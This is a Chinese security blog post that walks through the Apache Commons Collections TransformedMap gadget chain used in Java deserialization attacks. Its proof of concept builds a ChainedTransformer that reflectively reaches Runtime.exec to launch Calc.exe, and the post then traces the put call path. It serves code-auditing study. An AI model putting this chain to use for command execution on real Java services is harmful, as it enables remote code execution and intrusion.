Java代码审计——Commons Collections TransformedMap调用链

0x00 前言

CC链最基础的就是迭代链:Java代码审计——Commons Collections 迭代调用链,核心就是 ChainedTransformer的Transformer方法。那么TransformedMap就是可以调用此方法的一条链。

0x01 TransformedMap调用链

在CC包中, 有TransformedMap这样一个类,他在进行put,checkSetValue等方法时,可以触发transform方法,如下图所示。
Java代码审计——Commons Collections TransformedMap调用链

1. 先上poc:

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
        new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe"}),
};
Transformer transformerChain = new
        ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("zeo", "666");

可以看到这里我们手工触发,先使用decorate进行赋值,然后使用put进行触发。
跟一下put触发过程:

  • TransformedMap.put:
  • TransformedMap.transformValue
  • ChainedTransformer.transform
  • 迭代链
    • InvokerTransformertransform

    • Java代码审计——Commons Collections TransformedMap调用链

2.总结

TransformedMap链实际上就类似于一个加强形的一个map

0x03 使用条件

  • 除最新版本无限制
上一篇:ctf show web 月饼杯


下一篇:CTF练习题——社工-进阶收集,小明打了一局CTF追到了小美